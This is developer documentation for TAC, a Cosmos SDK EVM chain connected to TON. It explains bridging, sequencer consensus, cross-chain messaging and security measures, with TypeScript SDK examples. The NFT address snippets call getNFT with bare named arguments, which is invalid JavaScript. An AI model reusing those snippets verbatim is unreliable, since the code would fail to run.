The TAC EVM Layer is a fully-fledged Layer-1 blockchain environment based on Cosmos SDK technology. It provides a secure and scalable execution environment specifically optimized for Ethereum-compatible smart contracts, allowing existing EVM dApps to be deployed without modifications or code rewrites, achieving ≈2-second finality through dPoS.
## Technical Foundation
TAC EVM Layer combines proven blockchain technologies to deliver a robust execution environment that feels familiar to Ethereum developers.
### Core Technology Stack
The latest Cosmos SDK provides the modular blockchain framework that powers
TAC EVM Layer. This battle-tested foundation offers built-in modules for
staking, governance, and inter-blockchain communication, while allowing
custom modules for TAC-specific functionality.
TAC EVM Layer implements native EVM execution directly within the Cosmos SDK
framework. This isn't a compatibility layer or virtual machine running on top
of another VM - it's true EVM execution with modern consensus guarantees.
Every Ethereum opcode, gas calculation, and state transition rule works
exactly as it does on Ethereum mainnet, ensuring 100% compatibility for
existing Solidity contracts.
## Performance Characteristics
TAC EVM Layer maintains the security guarantees developers expect from a production blockchain.
**≈2-second finality** through Tendermint consensus mechanism provides
deterministic execution and fast block confirmation. Transactions are
irreversibly confirmed with minimal latency.
**No reorganizations** are possible due to Tendermint's BFT consensus model. This
eliminates edge cases where transactions might be reversed or reordered
after confirmation.
**Configurable gas limits** allow the network to adapt to demand through
governance proposals, balancing throughput with
decentralization requirements.
**Parallel execution potential** exists within the Cosmos SDK framework, enabling future optimizations as the network grows.
**EIP-1559 gas management** provides predictable transaction fees with
automatic fee adjustment based on network demand. Users get the same fee
predictability they expect from modern Ethereum.
**Fee token flexibility** allows transaction fees to be paid in TAC tokens, while still
supporting ETH-denominated gas calculations for contract compatibility.
## Developer Experience
TAC EVM Layer maintains complete compatibility with the Ethereum development ecosystem while providing enhanced debugging and development capabilities.
### Tool Compatibility
Every tool in the Ethereum ecosystem works seamlessly with TAC EVM Layer:
Hardhat, Truffle, Foundry, and Remix work without configuration changes.
Deploy scripts, test suites, and build processes transfer directly.
MetaMask, WalletConnect, and other Web3 wallets connect by simply adding TAC
as a custom network. No special plugins required.
Web3.js, Ethers.js, and Viem work exactly as they do with Ethereum. Contract
ABIs and interaction patterns remain identical.
Block explorers, indexers, and monitoring tools designed for Ethereum can
index TAC EVM Layer with minimal configuration.
## Gas and Fee Structure
TAC EVM Layer implements familiar gas mechanics with improvements for predictability and efficiency.
### EIP-1559 Implementation
TAC EVM Layer uses EIP-1559 gas pricing for predictable transaction fees:
```solidity theme={null}
// Gas calculations work exactly like Ethereum
uint256 gasUsed = gasLimit - gasleft();
uint256 effectiveGasPrice = baseFee + min(maxPriorityFee, maxFeePerGas - baseFee);
uint256 totalCost = gasUsed * effectiveGasPrice;
```
* **Base Fee**: Automatically adjusts based on network congestion, providing predictable pricing for users.
* **Priority Fee**: Allows users to pay extra for faster inclusion during high-demand periods.
* **Fee Burning**: A portion of transaction fees are burned, creating deflationary pressure on TAC tokens.
# TAC SDK
Source: https://docs.tac.build/why-tac/components/tac-sdk
TypeScript and Python library that enables frontend (and backend) developers to build **Hybrid dApps** connecting TON wallets with EVM applications
TAC SDK in Python now also available!
The TAC SDK is a library that makes it simple for developers to create hybrid dApps.
It abstracts away the complexities of cross-chain messaging, allowing developers to focus on building great user experiences while the SDK handles wallet connections,
transaction routing, and asset bridging automatically.
## What the SDK Solves
Building hybrid dApps traditionally requires deep understanding of multiple blockchain protocols, cross-chain messaging systems, and complex asset management.
The TAC SDK eliminates this complexity by providing a simple interface that handles all the technical details behind the scenes.
* Manual cross-chain message encoding
* Manual asset locking
* Manual transaction status tracking
* Manual error decoding
* Single method for cross-chain transactions
* Automatic asset bridging
* Built-in TON wallet support
* Real-time status tracking
* Comprehensive error handling
## Learn More
Get familiar with TAC SDK in the [related section](/sdk/overview).
# TON Adapter
Source: https://docs.tac.build/why-tac/components/ton-adapter
The distributed messaging system that securely connects TON and TAC EVM blockchains through sequencer consensus
**Current Network Status**: The sequencer network is currently distributed but
not decentralized. Full decentralization is on the roadmap as the network
matures.
The TON Adapter is the cross-chain messaging backbone of TAC, enabling secure communication between TON and TAC EVM Layer.
Unlike traditional bridges that simply move assets, the TON Adapter is designed specifically for application-level interactions,
allowing TON users to execute complex operations on EVM smart contracts seamlessly.
TON Adapter is tied to the specific set of contracts on both TON and TAC EVM chains to perform its duty.
### Core Functions
The TON Adapter handles the following operations:
* Transaction execution coordination
* TON and TAC EVM calls
* Value routing
* Merkle tree formation
* Multi-group validation
* Economic security enforcement
### Sequencer Network Architecture
Each sequencer monitors both TON and TAC EVM for relevant events,
maintaining local databases of transactions and forming independent Merkle
trees.
Sequencers organize into groups that must reach 3/5 internal consensus. Each
group validates transactions independently and stakes collateral as security.
Multiple groups must submit identical Merkle trees to achieve network-wide
consensus. This creates multiple validation layers for maximum security.
Once consensus is reached, transactions execute on the target chain with
cryptographic proof of validity.
## Asset Management
The TON Adapter handles two primary types of asset operations as tokens move between chains.
### Lock and Mint Operations
When assets need to be moved from one chain to another, the TON Adapter uses a lock-and-mint mechanism:
* **Asset Locking**: Tokens are locked on their native chain to prevent double-spending while preserving the original asset.
* **Metadata Capture**: The system records key token details, including the name, symbol, decimals, and the original contract address.
* **Token Deployment**: If the token is crossing chains for the first time, the system automatically deploys the corresponding ERC-20 contract on TAC EVM and Jetton contract on TON.
* **Token Minting**: An equivalent amount of tokens is minted on the destination chain to keep supply consistent across both networks.
### Burn and Release Operations
When assets move back, the reverse flow applies:
* **Asset Burning**: ERC-20/Jetton tokens are burned, removing them from circulation on a particular chain.
* **Validation**: Sequencers verify the burn.
* **Asset Release**: The previously locked tokens are released.
### Failure Protection
* **Automatic Rollbacks**: If a transaction fails on the target chain, assets are automatically returned to the sender.
* **Failed Transaction Collection**: Failed transactions are processed through the same consensus mechanism to ensure proper resolution.
## Performance Characteristics
The TON Adapter is designed to balance security with reasonable performance for application-level interactions.
Cross-chain transactions typically complete **within 1-3 minutes**.
The exact timing depends on the number of
sequencer groups participating in consensus and the current cross-chain activity.
The system can handle **hundreds of cross-chain messages per minute**.
Each transaction will be finalized but the delay of up to **10 minutes** may be introduced under the peak cross-chain activity.
Cross-chain operations require gas fees on both chains plus sequencer fees
for the messaging service. However, the cost remains reasonable (about `0.05 - 0.20 TON`) for
transactions like token swaps (TON->TAC->TON type).
The distributed nature of sequencer operations helps keep fees competitive while maintaining
security guarantees.
# Asset Bridging
Source: https://docs.tac.build/why-tac/cross-chain-operations/asset-bridging
How tokens and assets move securely between TON and TAC EVM through lock-mint and burn-release mechanisms
Asset bridging in TAC enables tokens to move seamlessly between TON and TAC EVM while preserving supply integrity and user ownership.
Unlike traditional bridges that mint wrapped tokens, TAC’s bridging system is designed specifically for application-level interactions, where assets effectively remain the same as they move across chains.
Check out the official **Bridge app** for both Mainnet and Testnet [here](/ecosystem/bridge)
## Core Bridging Principles
TAC's asset bridging system operates on fundamental principles that ensure security, maintain token economics, and provide seamless user experience.
### Supply Conservation
* **Total Supply Integrity**: The combined supply of a token across both TON and TAC EVM always equals the original supply. When tokens are locked on one chain, equivalent amounts are minted on the other chain, maintaining perfect balance.
* **Provable Reserves**: All locked tokens are held in verifiable smart contracts where their existence can be independently confirmed by anyone.
* **Atomic Operations**: Asset locking, minting, burning, and releasing operations occur atomically within the same cross-chain transaction, preventing inconsistent states.
## Token Types and Handling
Different types of assets require specialized handling to ensure proper representation and functionality across both chains.
Users can even bridge **multiple assets** in a single cross-chain transaction
(e.g., native TON, jettons and NFTs - with no limit!).
### TON Native Assets
* **Jetton Bridging**: TON jettons (fungible tokens) like `USDT` are the most common bridged assets. When first crossing to TAC EVM, the system automatically deploys corresponding ERC-20 contracts.
* **Address Mapping**: Deterministic mapping between ERC-20 addresses and their corresponding TON jettons.
* **Metadata Preservation**: Token name, symbol, decimals, and additional metadata are captured from the TON side and replicated in the EVM contract.
* **NFT Collection**: A TON NFT collection will be represented as an familiar ERC-721 collection on TAC EVM.
* **Single NFT**: In TON NFT may not belong to a collection, but its mirrored version on TAC EVM will be part of a collection as EVM nature requires it.
* **Metadata Preservation**: NFT metadata will be mirrored to TAC EVM.
* **TON Token Handling**: Native TON tokens receive special treatment as they don't have a traditional contract address on the TON side.
* **Wrapped Representation**: On TAC EVM, native TON is represented as a wrapped token (similar to WETH on Ethereum) with standard ERC-20 functionality.
### TAC EVM Native Assets
The EVM side allow amounts up to `2^256-1`, but the maximum token value supported on TON is limited to `2^120 - 1`.
If you attempt to bridge the `2^120`-th token (about 1329 quadrillion) or any larger amount from TAC to TON,
those tokens will be locked on TAC and will not be minted on TON.
In other words, any `2^120`-th and higher tokens will effectively be lost. Please be careful.
Fortunately, there are currently no existing assets with values that reach such levels.
* **Token Bridging**: Tokens originally created on TAC EVM can also be bridged to TON, creating jetton representations on the TON side.
* **Address Mapping**: Deterministic mapping between ERC-20 addresses and their corresponding TON jettons.
* **Metadata Preservation**: Token name, symbol, decimals, and additional metadata are captured from the EVM side and replicated in the TON contract.
* **NFT Collection**: An EVM NFT collection will be represented as an NFT collection on TON.
* **Metadata Preservation**: NFT metadata will be mirrored to TON.
* **TAC Token Handling**: Native TAC tokens also don’t have a contract address on the TAC side.
* **Wrapped Representation**: Native TAC tokens are represented as jettons (fungible tokens) in TON.
Applications can query the token registry to find corresponding addresses without needing to calculate them.
Refer to TAC SDK's methods [`getTVMTokenAddress`](https://gitlab.com/ton-app-chain/tac/tac-sdk/-/blob/develop/docs/sdks/tac_sdk.md#gettvmtokenaddress)
and [`getEVMTokenAddress`](https://gitlab.com/ton-app-chain/tac/tac-sdk/-/blob/develop/docs/sdks/tac_sdk.md#getevmtokenaddress)
A few common tokens and their counterparts are listed on [this page](/ecosystem/token-list).
## Token Address Mapping
Understanding and working with cross-chain token addresses:
Code samples below use TypeScript [TAC SDK](/sdk/overview)
### FT Address Resolution
```javascript theme={null}
// Get EVM equivalent of TON token
const getEvmTokenAddress = async (tonTokenAddress) => {
try {
const evmAddress = await tacSdk.getEVMTokenAddress(tonTokenAddress);
console.log(`TON token ${tonTokenAddress} maps to EVM token ${evmAddress}`);
return evmAddress;
} catch (error) {
console.error("Token mapping failed:", error);
return null;
}
};
// Reverse mapping: EVM to TON
const getTonTokenAddress = async (evmTokenAddress) => {
try {
const tonAddress = await tacSdk.getTVMTokenAddress(evmTokenAddress);
console.log(`EVM token ${evmTokenAddress} maps to TON token ${tonAddress}`);
return tonAddress;
} catch (error) {
console.error("Reverse token mapping failed:", error);
return null;
}
};
```
### NFT Address Resolution
NFT item is always a part of a collection in EVM
```javascript theme={null}
// Get EVM NFT collection from TON NFT collection
const getEvmNftCollectionAddress = async (tonNftCollectionAddress, tvmNftItemIndex) => {
const NFT = await tacSdk.getNFT(
address: tonNftCollectionAddress,
tokenType: AssetType.NFT,
addressType: NFTAddressType.COLLECTION,
index: tvmNftItemIndex,
);
return NFT.getEVMAddress();
};
// Reverse
const getTonNftCollectionAddress = async (evmCollectionAddress, evmNftItemIndex) => {
const NFT = await tacSdk.getNFT(
address: evmCollectionAddress,
tokenType: AssetType.NFT,
addressType: NFTAddressType.COLLECTION,
index: evmNftItemIndex,
);
return NFT.getTVMAddress();
};
// Get EVM NFT collection from TON NFT single item
const getEvmNftItemAddress = async (tonNftItemAddress) => {
const NFT = await tacSdk.getNFT(
address: tonNftItemAddress,
tokenType: AssetType.NFT,
addressType: NFTAddressType.ITEM,
);
return NFT.getEVMAddress();
};
```
## FT Balance
To query user FT balance use `getUserJettonBalance` and `getUserJettonBalanceExtended`:
```javascript theme={null}
const getUserAssetBalances = async (userAddress) => {
// Get jetton balance (basic)
const jettonBalance = await tacSdk.getUserJettonBalance(
userAddress,
jettonMasterAddress
);
console.log("Raw jetton balance:", jettonBalance.toString());
// Get jetton balance (extended with metadata)
const extendedBalance = await tacSdk.getUserJettonBalanceExtended(
userAddress,
jettonMasterAddress
);
console.log("Balance Details:");
console.log("- Raw amount:", extendedBalance.rawAmount.toString());
console.log("- Decimals:", extendedBalance.decimals);
console.log("- Human readable:", extendedBalance.amount);
console.log("- Symbol:", extendedBalance.symbol);
console.log("- Name:", extendedBalance.name);
return extendedBalance;
};
```
### Jetton Wallet Management
Each FT (jetton) in TON has a master address,
and each individual wallet has its own address associated with that master
(`UserJettonWalletAddress`).
The latter is created automatically when an individual wallet is funded with a specific jetton for the first time
```javascript theme={null}
const getJettonWalletInfo = async (userAddress, jettonMasterAddress) => {
// Get user's jetton wallet address
const jettonWalletAddress = await tacSdk.getUserJettonWalletAddress(
userAddress,
jettonMasterAddress
);
console.log("Jetton wallet address:", jettonWalletAddress);
// Check if wallet exists and is deployed
const isDeployed = await tacSdk.isContractDeployedOnTVM(jettonWalletAddress);
console.log("Wallet deployed:", isDeployed);
return {
address: jettonWalletAddress,
deployed: isDeployed,
};
};
```
## Decimal and Precision Handling
Different blockchain ecosystems use different decimal standards, requiring careful handling to maintain precision and user experience.
### Decimal Standards
**TON Standard**: TON jettons typically use 9 decimals, following the
platform's conventions for token precision.
**EVM Standard**: Ethereum and EVM chains commonly use 18 decimals,
providing higher precision for complex DeFi operations.
### Precision Management
* **Preservation**: When TON tokens (9 decimals) bridge to TAC EVM, they maintain their 9 decimal precision rather than being artificially inflated to 18 decimals.
* **Compatibility**: TAC EVM supports tokens with various decimal counts, ensuring that bridged tokens work correctly with existing DeFi protocols.
E.g., the `USDT` has 6 decimal places on both TON and TAC EVM.
* **Dev Tools**: **TAC SDK** provides [means](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/tac_sdk.md#getuserjettonbalanceextended) to get decimals for a specific token.
## Liquidity Management
Asset bridging enables sophisticated liquidity management strategies that benefit both ecosystems.
### Example: DEX Liquidity
When users provide liquidity to a DEX on TAC EVM using TON-origin tokens:
TON tokens are automatically bridged to TAC EVM as part of the liquidity
provision transaction.
Bridged tokens are added to the DEX liquidity pool, creating trading
opportunities for both TON and EVM users.
Users receive LP tokens representing their share of the pool, which can be
used on either chain.
The same liquidity serves traders from both ecosystems, maximizing
utilization and fee generation.
Reverse process applies while removing liquidity from the DEX.
LP tokens can be burned to get the initial tokens back from the pool.
# Cross-Chain Messaging
Source: https://docs.tac.build/why-tac/cross-chain-operations/cross-chain-messaging
How messages flow securely between TON and TAC EVM through the TON Adapter's validation and consensus system
Cross-chain messaging is the foundation of TAC's hybrid dApp functionality. It enables secure communication between TON users and EVM smart contracts through a structured system of message creation, validation, and execution. Understanding this messaging system helps developers build more effective applications and troubleshoot issues when they arise.
## Message Lifecycle Overview
Every cross-chain operation in TAC follows a predictable lifecycle that ensures security and reliability while maintaining reasonable performance for application use cases.
User initiates an action in a hybrid dApp, triggering the creation of a
structured cross-chain message (usually done automatically via TAC SDK) containing operation details and asset
information.
Multiple sequencers detect the message simultaneously and begin independent
validation processes to ensure message integrity.
Sequencer groups reach internal consensus, then coordinate across groups to
form network-wide agreement on message validity.
Validated messages are executed on the target chain with cryptographic proof
of consensus approval.
Execution results and any return assets flow back through the same secure
messaging system to the original user.
## Message Structure
Cross-chain messages contain all the information needed for secure validation and execution across different blockchain architectures.
### Core Message Components
Every message includes essential metadata and operation-specific data.
The json example below is not a comprehensive structure but rather a general idea:
```javascript theme={null}
{
timestamp: 1640995200, // TON blockchain timestamp
target: "0x742d35Cc6473...", // Target smart contract address
methodName: "swapTokens(bytes,bytes)", // Method signature
arguments: "0x1234...", // Encoded method parameters
caller: "EQAbc123...", // Original TON caller address
mintTokens: [...], // Tokens to mint on TAC EVM
unlockTokens: [...] // Tokens to unlock from previous operations
}
```
### TAC Header Information
The TON Adapter automatically augments messages with additional metadata that proxy contracts receive:
* **shardsKey**: Unique identifier linking related transactions when multiple tokens are involved in a single operation.
* **timestamp**: Block timestamp from the TON blockchain where the user's original message was created.
* **operationId**: Unique identifier generated by TAC infrastructure for tracking and validation purposes.
* **caller**: The user's wallet address that initiated the cross-chain operation.
* **extraData**: Additional data provided by sequencers during execution, typically empty but available for special use cases.
For the detailed header info please refer to the SDK's docs [here](/why-tac/cross-chain-operations/cross-chain-messaging#tac-header-fields).
### Parameter Encoding
Application-specific parameters are encoded using standard Ethereum ABI encoding:
```javascript theme={null}
// Example: DEX swap parameters
const abi = new ethers.AbiCoder();
const swapParams = abi.encode(
["tuple(address,address,uint256,uint256,address,uint256)"],
[[tokenIn, tokenOut, amountIn, minAmountOut, recipient, deadline]]
);
```
This encoding ensures that EVM proxy contracts can decode parameters correctly while maintaining compatibility with standard Ethereum tooling.
## Validation Process
The TON Adapter employs multiple layers of validation to ensure message integrity and prevent malicious activity.
### Asset Verification
* **Transfer Validation**: Sequencers verify that actual token transfers match the amounts specified in cross-chain messages. This prevents attempts to claim false transfer amounts or access unauthorized funds.
* **Metadata Consistency**: Token information and operation parameters are cross-referenced to ensure consistency throughout the validation process.
### Cryptographic Validation
* **Inclusion Proofs**: Every executed message includes cryptographic proof of
inclusion in a consensus-approved Merkle tree.
* **Tamper Resistance**: Merkle proofs make it cryptographically impossible
to modify messages after consensus without detection.
* **Independent Verification**: Any party can verify message authenticity
using the public Merkle proofs.
* **Multi-Group Agreement**: Messages require agreement from multiple
independent sequencer groups before execution.
* **Economic Security**: Sequencer groups stake significant collateral, creating financial incentives
for honest validation.
* **Threshold Requirements**: The network requires sufficient group participation to ensure security while maintaining
operational efficiency.
## Epoch-Based Processing
TAC organizes message processing into time-based epochs that provide structure and predictability to cross-chain operations.
### Epoch Structure
**Deterministic Timing**: Each epoch is calculated using a precise formula that ensures all sequencers work with the same time boundaries:
```
EpochId = (currentTime - protocolDeployTime) / epochDuration
```
**Processing Windows**: Messages are collected and processed within specific timeframes:
```
[protocolDeployTime + EpochId × epochDuration,
protocolDeployTime + (EpochId + 1) × epochDuration]
```
### Benefits of Epoch Processing
* **Ordered Processing**: All sequencers process the same set of messages in each epoch, preventing timing-based attacks and ensuring consistency.
* **Batch Efficiency**: Processing messages in batches is more efficient than individual handling and provides better consensus guarantees.
* **Predictable Latency**: Users and applications can estimate processing times based on epoch duration and current network status.
## Message Types and Flows
Different types of cross-chain operations follow distinct patterns that affect how messages are structured and processed.
### One-Way Messages (TON → TAC and TAC → TON)
* **Simple Operations**: Basic token transfers, contract calls that don't require return values, or operations where results remain on the EVM side.
* **Message Flow**: TON or TAC EVM user → TON Adapter → Sequencer validation → TON or TAC EVM execution → Completion notification.
* **Use Cases**: Token bridges and deposits, simple contract interactions, or operations where users only need confirmation of completion.
* **Usage**:
TAC → TON: [`bridgeTokensToTON`](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/tac_sdk.md#bridgetokenstoton) in SDK
TON → TAC: [`sendCrossChainTransaction`](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/tac_sdk.md#sendcrosschaintransaction) in SDK
### Round-Trip Messages (TON → TAC → TON)
* **Complex Operations**: Operations that generate results or assets that need to be returned to the original TON user.
* **Extended Flow**: Includes an additional return path where EVM proxy contracts create new messages to send results back through the TON Adapter.
* **Use Cases**: Token swaps, liquidity operations, or any interaction where users expect to receive different assets or data back.
* **Usage**:
TON → TAC → TON: [`sendCrossChainTransaction`](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/tac_sdk.md#sendcrosschaintransaction) in SDK
### Rollback Operations
When operations fail on the target chain, TAC automatically initiates rollback
procedures to protect user assets.
* **Automatic Triggers**: Failed executions on either chain automatically trigger rollback message creation to return assets safely.
* **Asset Protection**: Rollback messages ensure that locked or transferred assets are returned to users when operations cannot complete successfully.
# Transaction Lifecycle
Source: https://docs.tac.build/why-tac/cross-chain-operations/transaction-lifecycle
Complete journey of cross-chain transactions from user initiation to final execution and confirmation
The transaction lifecycle in TAC represents the complete journey of a cross-chain operation from initial user action to final confirmation. Understanding this lifecycle helps developers build better applications, implement proper status tracking, and troubleshoot issues effectively.
## Transaction Type
Three transaction types are supported:
Swaps, adding and removing liquidity,
withdrawing from dApp
Depositing to dApp, bridging assets
Bridging assets
## Stage Progression
Cross-chain transactions progress through specific stages that can be monitored and tracked for status updates.
Below is an example for **TON->TAC** transaction type:
* **Detection**: Sequencers detect the cross-chain event and store transaction details in their local databases for validation.
* **Validation**: Each sequencer independently validates the transaction parameters, asset transfers, and user authorization.
* **Merkle Tree Formation**: Sequencers compile validated transactions into Merkle trees at the end of each epoch period.
* **Consensus**: Sequencer groups work to achieve 3/5 internal agreement on their Merkle tree root hashes and executor selection.
* **Network Submission**: Successfully agreed-upon tree is submitted to TAC EVM.
* **Detection**: Selected executor detects the submitted on-chain Merkle Tree root.
* **Verification**: Selected executor verifies the root against the transaction info from its internal database.
* **Asset Operations**: Required token minting or unlocking operations are performed.
* **Proxy Call**: The EVM proxy contract is called with properly formatted parameters and bridged assets.
* **Execution**: Proxy forwards formatted parameters and bridged assets to the target EVM dApp contract.
For the **TAC->TON** transaction type, the above stages are mirrored.
For operations that send results back to TON (**TON->TAC->TON** transaction type) the flow continues:
* **Return Message Creation**: dApp on EVM side creates return messages containing results or assets to send back to TON and sends them back to Proxy.
* **Proxy Call**: Proxy forwards the message and assets to the EVM Cross-Chain Layer contract.
* **Detection**: The same sequencer network detects return messages and begins validation for the reverse journey.
* **Consensus**: Return messages go through the same consensus process as initial messages.
* **Network Submission**: Successfully agreed-upon tree is submitted to TON.
* **Detection**: Selected executor detects the submitted on-chain Merkle Tree root.
* **Verification**: Selected executor verifies the root against the transaction info from its internal database.
* **Asset Operations**: Required token minting or unlocking operations are performed.
* **Execution**: Return messages are executed on TON, delivering results or assets back to the original user.
## Simplified Operation Status
You don’t need to know the exact flow an operation goes through.
If you only want to know whether it is already executed or still being processed,
use the [simplified statuses](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/operation_tracker.md#getsimplifiedoperationstatus) from the TAC SDK.
The transaction has been sent and is being processed by the TON Adapter (sequencer network).
The transaction is in progress.
Everything is fine!
The transaction on TAC EVM failed, and there were no attached assets to roll back.
The transaction on TAC EVM failed, and the assets locked on TON were refunded to the original owner.
This usually happens when manually customizing transaction fees using SDK. In most cases, the default fee is enough.
## Monitoring and Debugging
### Real-Time Monitoring
Applications can implement real-time monitoring features from **TAC SDK** to provide users with live updates via [`startTracking`](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/utilities.md#starttracking) feature:
```javascript theme={null}
const transactionLinker = await tacSdk.sendCrossChainTransaction(
evmProxyMsg, // What to call on EVM
sender, // TON wallet
assets // Tokens to bridge
);
await tacSdk.startTracking(transactionLinker);
```
### Debugging Transactions
* **Status**: Status info and error message if any. Learn more in SDK's docs [related section](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/operation_tracker.md#getsimplifiedoperationstatus).
* **Stage Profiling**: Detailed info about every stage. Learn more in SDK's docs [related section](https://github.com/TacBuild/tac-sdk/blob/main/docs/sdks/operation_tracker.md#getstageprofiling).
# Architecture
Source: https://docs.tac.build/why-tac/overview/architecture
How TAC's three-layer architecture enables seamless interaction between TON and EVM ecosystems
TAC's architecture is designed to support secure and deterministic cross-chain communication while preserving native user experience on the TON side. The protocol relies on on-chain consensus to execute contract-level operations across both networks.
## Main Layers
TAC SDK dev tools to prepare and initiate cross-chain transaction in TON
Distributed sequencer network that securely routes messages between TON and EVM.
Full EVM compatibility with Cosmos SDK. Handles all application logic and state.
## Secondary Layers
Applications that combine EVM smart contract logic with native Telegram user experience
Interface layer to access your EVM dApp from TON
# Security
Source: https://docs.tac.build/why-tac/overview/security
TAC implements a comprehensive security framework with multiple layers of protection, professional audits, and continuous monitoring to ensure the safety of hybrid dApps and user assets.
## Multi-Layer Security Architecture
TAC's security model operates across multiple layers to provide comprehensive protection for users and applications.
### TON Adapter Security
The TON Adapter implements distributed architecture with multiple validation layers:
**Current State**: TON Adapter operates with distributed sequencer groups
providing redundancy.
**Future Decentralization**: Architecture designed for progressive decentralization as the network matures.
**Multi-Group Validation**: Cross-chain messages require consensus from
multiple independent sequencer groups.
**Economic Stakes**: Sequencers stake collateral to participate in validation, creating financial incentives for
honest behavior.
**Cryptographic Proofs**: All cross-chain operations protected by Merkle proofs and cryptographic verification.
**Asset refund**: Automatic refund of locked assets if cross-chain transaction fails for any reason.
It also provides economic security:
**Every sequencer group must stake collateral:**
* Minimum stake set by DAO governance
* Higher stakes earn proportionally higher rewards
* Stake must remain above threshold during participation
* Partial stake locking during proof submission
**Performance-based incentives:**
* Rewards distributed proportionally to stake size
* Executor selection based on collateral weight
* Commission sharing within groups
* Penalty mechanisms for incorrect operations
**Democratic group selection:**
* New groups approved through DAO voting
* Regular election cycles (DAO configurable)
* Performance monitoring and rating systems
* Penalty applications and network-wide voting
### EVM Layer Security
TAC EVM undergoes comprehensive security audits by industry-leading firms to ensure the highest security standards.
You can review the completed ones on [this page](/audit/overview).
New reports will appear as the protocol evolves and new features are added.
**Modern EVM Implementation**: TAC EVM is based on the Cancun upgrade,
incorporating the latest Ethereum security improvements and optimizations.
**Proven Technology**: Built on battle-tested EVM specifications with all
security features and protections of modern Ethereum networks.
**Standard Compliance**: Full compatibility with Ethereum security models ensures
familiar security guarantees for developers.
**TAC Token Security**: Network consensus secured by delegated Proof of Stake
using \$TAC tokens as the staking mechanism.
**Validator Incentives**: Economic incentives align validator behavior with network security through staking
rewards and slashing penalties.
**Distributed Validation**: Multiple independent validators secure the network through distributed consensus
mechanisms.
## Continuous Monitoring
TAC implements 24/7 security monitoring and incident response capabilities to detect and respond to potential threats.
### Real-Time Threat Detection
**24/7 Security Monitoring**: Hypernative provides continuous monitoring of
TAC networks, detecting potential exploits and anomalous behavior.
**Mempool-Level Detection**: Advanced monitoring capabilities detect
suspicious transactions at the mempool level before they're executed.
**Real-Time Alerts**: Immediate notifications for potential security threats
enable rapid response and mitigation.
**24/7 Security Operations**: Fully dedicated Security Operations Center
(SOC) team monitoring TAC infrastructure around the clock.
**Incident Response**: Trained security professionals ready to respond to any security
incidents or threats.
**Proactive Monitoring**: Continuous analysis of network activity and security metrics to identify potential issues before
they become problems.
## Future Enhancements
TAC has planned significant security upgrades that will provide additional layers of protection and decentralization.
### FROST Consensus Upgrade
Already live on TAC Testnet!
Planned migration to **FROST-Ed25519** threshold signatures with Distributed Key Generation (DKG).
**Enhanced Cryptographic Security:**
* Threshold signature creation requires `t+1` out of `n` participants
* Attackers controlling up to `t` participants cannot forge signatures
* **Ed25519** compatibility with existing verification systems
* Round-optimized design minimizes communication overhead
**Decentralized Key Management:**
* Dealerless key generation - no single party knows complete secret
* High threshold support `(k > n/2)` for enhanced security
* Feldman VSS with verifiable encrypted shares
* Complaint handling without secret disclosure
## Bug Bounty Program
Bug bounty program is live!
Check out the [Bug Bounty](/bug-bounty/overview) page for more information.
# What is TAC
Source: https://docs.tac.build/why-tac/overview/what-is-tac
TAC bridges TON's 1 billion users with EVM's application ecosystem
TAC is an **EVM for Telegram**: a Layer 1 with a TON-specific Cross-Chain Layer that connects Ethereum dApps and developers with Telegram's users without exposing users to bridges, extra wallets, or wrapped assets. TAC eliminates the gap between TON's billion-user reach and EVM's programmability through **Hybrid dApps** - EVM dApps natively accessible by any TON wallet holder.
## The Problem TAC Solves
**Challenge**: Reaching TON's billion users requires rebuilding entire
applications in FunC, TON's native language.
**TAC Solution**: Deploy
existing Solidity contracts as-is and make them accessible to TON users
**Challenge**: Limited access to DeFi, gaming, and other EVM applications
that dominate the blockchain space.
**TAC Solution**: Use any EVM application directly from TON wallets without bridges or multiple wallets
The world's largest developer community meets the largest user base
## How TAC Works
TAC operates through the following elements that work together seamlessly:
A frontend that implements **TAC SDK** under the hood and the corresponding set of dApp Solidity contracts deployed on **TAC EVM Layer**.
A handy TypeScript and Python library implemented within **Hybrid dApp** that enables developers to connect TON wallets with EVM applications.
A distributed network of **sequencers** that securely routes messages between TON and TAC EVM:
* **Validation**: Sequencers verify all transactions and asset transfers
* **Consensus**: 3/5 sequencer consensus with BFT guarantees
* **Security**: Multiple validation layers prevent double-spending and fraud
This isn't a traditional bridge — it's a purpose-built messaging system designed for hybrid applications.
**Current Network Status**: The sequencer network is currently distributed but not decentralized. Full decentralization is on the roadmap as the network matures.
TAC EVM Layer 1 is a CosmosSDK-based blockchain that runs unmodified Solidity contracts and achieves **≈2-second finality** through dPoS. This means:
* Deploy existing Solidity contracts without modifications
* Use familiar tools like Hardhat, Remix, and MetaMask
* Built on proven Cosmos SDK with Tendermint consensus
* Secured by delegated Proof of Stake with economic incentives
The EVM layer handles all application logic and state, while the TON Adapter manages cross-chain communication.
Specialized Solidity contracts that make cross-chain interaction feel native.
On the TAC EVM they receive, decode and forward cross-chain messages to the target EVM contracts.
[Agnostic Proxy](/sdk/advanced-usage/agnostic-proxy) beta feature allowing for skipping TAC Proxies entirely is already available within TAC SDK
## Key Benefits
### Deploy Once, Reach Billions
* **No code rewrites**: Deploy existing Solidity contracts directly
* **Familiar tooling**: Use Hardhat, Truffle, Remix, and other EVM tools
* **Hybrid dApp conversion**: Every deployment becomes a Hybrid dApp accessible from TON
* **Cross-chain SDK**: User-friendly TypeScript library handles TON integration
* **Telegram MiniApps**: Bring EVM-powered logic directly inside Telegram. No need for Google Play/App Store installments
### Native TON Experience
* **One wallet**: Use your TON wallet for everything
* **No bridges**: Assets move automatically behind the scenes
* **Familiar UX**: Apps feel native to TON environment
* **Telegram integration**: Access apps directly through Telegram Mini Apps without learning new workflows
### Unified Liquidity - **Cross-chain composability**:
TON and EVM applications can interact
* **Shared liquidity**: Tokens flow freely between ecosystems
* **Network effects**: More users attract more developers and vice versa
* **Innovation acceleration**: Best of both worlds drives faster development
## Transaction Flow Example
Here's what happens when a TON user swaps tokens on an EVM DEX through TAC's hybrid dApp system (like [Curve](https://t.me/CurveAppBot)):
User opens a DEX interface, connects his/her TON wallet, and selects token to swap.
The TAC SDK implemented within DEX frontend conveniently encodes required EVM calldata for the upcoming swap on the TAC blockchain
and brings up the prepared transaction for user to approve.
User approves the transaction.
The TON adapter receives user's assets and safely locks them on TON.
